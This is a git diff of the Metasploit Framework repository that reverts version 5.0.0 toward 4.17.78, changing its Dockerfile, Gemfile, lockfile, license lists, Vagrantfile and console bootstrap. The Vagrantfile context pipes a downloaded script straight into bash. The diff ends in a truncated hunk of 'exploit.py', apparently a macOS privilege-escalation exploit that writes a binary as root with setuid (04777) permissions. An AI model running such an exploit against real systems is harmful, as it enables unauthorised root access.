[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
|
||||
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
||||
+3
-4
@@ -1,4 +1,4 @@
|
||||
FROM ruby:2.5.3-alpine3.7 AS builder
|
||||
FROM ruby:2.6.2-alpine3.9 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
@@ -16,7 +16,7 @@ RUN apk add --no-cache \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
libressl-dev \
|
||||
openssl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -29,7 +29,6 @@ RUN apk add --no-cache \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
@@ -37,7 +36,7 @@ RUN apk add --no-cache \
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.3-alpine3.7
|
||||
FROM ruby:2.6.2-alpine3.9
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
|
||||
@@ -3,6 +3,8 @@ source 'https://rubygems.org'
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'sqlite3', '~>1.3.0'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
@@ -25,7 +27,7 @@ end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_bot_rails'
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
@@ -34,7 +36,6 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+78
-109
@@ -1,29 +1,28 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.0)
|
||||
metasploit-framework (4.17.78)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
backports
|
||||
bcrypt
|
||||
bcrypt (= 3.1.12)
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.58)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.5.1)
|
||||
metasploit-payloads (= 1.3.70)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -38,7 +37,7 @@ PATH
|
||||
patch_finder
|
||||
pcaprub
|
||||
pdf-reader
|
||||
pg (= 0.20.0)
|
||||
pg (~> 0.20)
|
||||
railties
|
||||
rb-readline
|
||||
recog
|
||||
@@ -56,7 +55,7 @@ PATH
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket
|
||||
rex-socket (= 0.1.17)
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
rex-text
|
||||
@@ -65,13 +64,10 @@ PATH
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
@@ -80,95 +76,82 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.11)
|
||||
actionview (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
actionpack (4.2.11.1)
|
||||
actionview (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
actionview (4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
activemodel (4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.11)
|
||||
activemodel (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
activerecord (4.2.11.1)
|
||||
activemodel (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.11)
|
||||
activesupport (4.2.11.1)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.2)
|
||||
addressable (2.6.0)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.4)
|
||||
arel-helpers (2.10.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
backports (3.15.0)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.3.1)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.2)
|
||||
dnsruby (1.61.3)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
docile (1.3.2)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.5)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.11.1)
|
||||
factory_bot (~> 4.11.1)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faker (2.2.0)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.15.4)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
json (2.2.0)
|
||||
loofah (2.2.3)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.3)
|
||||
metasm (1.0.4)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.2)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
net-ssh
|
||||
pg (~> 0.15)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
@@ -177,45 +160,45 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.58)
|
||||
metasploit_data_models (3.0.2)
|
||||
metasploit-payloads (1.3.70)
|
||||
metasploit_data_models (2.0.17)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg (= 0.20.0)
|
||||
pg
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.1)
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
msgpack (1.3.1)
|
||||
multipart-post (2.1.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (5.1.0)
|
||||
net-ssh (5.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.0)
|
||||
nokogiri (1.10.4)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.13.0)
|
||||
octokit (4.14.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openssl-ccm (1.2.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.2.0)
|
||||
pdf-reader (2.2.1)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg (0.21.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
@@ -224,10 +207,8 @@ GEM
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.3)
|
||||
public_suffix (3.1.1)
|
||||
rack (1.6.11)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -236,18 +217,18 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
rails-html-sanitizer (1.2.0)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.11)
|
||||
actionpack (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
railties (4.2.11.1)
|
||||
actionpack (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.2)
|
||||
rake (12.3.3)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.42)
|
||||
recog (2.3.2)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
redcarpet (3.5.0)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.6)
|
||||
@@ -261,7 +242,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.20)
|
||||
rex-exploitation (0.1.21)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -274,7 +255,7 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.79)
|
||||
rex-powershell (0.1.82)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
@@ -284,14 +265,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.15)
|
||||
rex-socket (0.1.17)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.21)
|
||||
rex-text (0.2.23)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -299,15 +280,15 @@ GEM
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-core (3.8.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.2)
|
||||
rspec-expectations (3.8.4)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
rspec-mocks (3.8.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.1)
|
||||
rspec-rails (3.8.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
@@ -317,57 +298,45 @@ GEM
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.1.0)
|
||||
rspec-support (3.8.2)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.5)
|
||||
ruby_smb (1.1.0)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.2)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
simplecov (0.16.1)
|
||||
rubyzip (1.2.3)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.17.0)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (>= 1.3, < 3)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
sshkey (2.0.0)
|
||||
thor (0.20.3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.9)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.9)
|
||||
tzinfo-data (1.2019.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.16)
|
||||
yard (0.9.20)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-framework!
|
||||
octokit
|
||||
@@ -377,9 +346,9 @@ DEPENDENCIES
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
swagger-blocks
|
||||
sqlite3 (~> 1.3.0)
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.1
|
||||
1.17.3
|
||||
|
||||
@@ -111,10 +111,6 @@ Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
+53
-65
@@ -1,136 +1,124 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.11, MIT
|
||||
actionview, 4.2.11, MIT
|
||||
activemodel, 4.2.11, MIT
|
||||
activerecord, 4.2.11, MIT
|
||||
activesupport, 4.2.11, MIT
|
||||
addressable, 2.5.2, "Apache 2.0"
|
||||
actionpack, 4.2.11.1, MIT
|
||||
actionview, 4.2.11.1, MIT
|
||||
activemodel, 4.2.11.1, MIT
|
||||
activerecord, 4.2.11.1, MIT
|
||||
activesupport, 4.2.11.1, MIT
|
||||
addressable, 2.6.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.8.0, MIT
|
||||
backports, 3.11.4, MIT
|
||||
arel-helpers, 2.10.0, MIT
|
||||
backports, 3.15.0, MIT
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.0, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.12.5, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.4, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.2, "Apache 2.0"
|
||||
docile, 1.3.1, MIT
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
docile, 1.3.2, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 4.11.1, MIT
|
||||
factory_bot_rails, 4.11.1, MIT
|
||||
faker, 1.9.1, MIT
|
||||
factory_girl, 4.9.0, MIT
|
||||
factory_girl_rails, 4.9.0, MIT
|
||||
faker, 2.2.0, MIT
|
||||
faraday, 0.15.4, MIT
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
json, 2.2.0, ruby
|
||||
loofah, 2.2.3, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.2, "New BSD"
|
||||
metasploit-framework, 5.0.0, "New BSD"
|
||||
metasploit-credential, 2.0.14, "New BSD"
|
||||
metasploit-framework, 4.17.78, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.17, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.2.4, "Apache 2.0"
|
||||
multipart-post, 2.0.0, MIT
|
||||
msgpack, 1.3.1, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.1.0, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.0, MIT
|
||||
octokit, 4.13.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
nokogiri, 1.10.4, MIT
|
||||
octokit, 4.14.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.2.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pdf-reader, 2.2.1, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 3.0.3, MIT
|
||||
public_suffix, 3.1.1, MIT
|
||||
rack, 1.6.11, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.0.4, MIT
|
||||
railties, 4.2.11, MIT
|
||||
rake, 12.3.2, MIT
|
||||
rails-html-sanitizer, 1.2.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rake, 12.3.3, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.1.42, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
recog, 2.3.2, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.20, "New BSD"
|
||||
rex-exploitation, 0.1.21, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.79, "New BSD"
|
||||
rex-powershell, 0.1.82, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.15, "New BSD"
|
||||
rex-socket, 0.1.17, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.21, "New BSD"
|
||||
rex-text, 0.2.23, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.8.0, MIT
|
||||
rspec-core, 3.8.0, MIT
|
||||
rspec-expectations, 3.8.2, MIT
|
||||
rspec-mocks, 3.8.0, MIT
|
||||
rspec-rails, 3.8.1, MIT
|
||||
rspec-core, 3.8.2, MIT
|
||||
rspec-expectations, 3.8.4, MIT
|
||||
rspec-mocks, 3.8.1, MIT
|
||||
rspec-rails, 3.8.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.8.0, MIT
|
||||
ruby-macho, 2.1.0, MIT
|
||||
rspec-support, 3.8.2, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.0.5, "New BSD"
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.2, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
simplecov, 0.16.1, MIT
|
||||
rubyzip, 1.2.3, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.17.0, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
swagger-blocks, 2.0.2, MIT
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
sshkey, 2.0.0, MIT
|
||||
thor, 0.20.3, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.9, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2018.9, MIT
|
||||
warden, 1.2.7, MIT
|
||||
tzinfo-data, 1.2019.2, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.16, MIT
|
||||
yard, 0.9.20, MIT
|
||||
|
||||
Vendored
-1
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
|
||||
+18
-3
@@ -22,11 +22,26 @@ unless ENV['BUNDLE_GEMFILE']
|
||||
end
|
||||
end
|
||||
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
rescue LoadError => e
|
||||
$stderr.puts "[*] Bundler failed to load and returned this error:"
|
||||
$stderr.puts
|
||||
$stderr.puts " '#{e}'"
|
||||
$stderr.puts
|
||||
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ def use_old_api():
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
print("usage: exploit.py source_binary dest_binary_as_root")
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
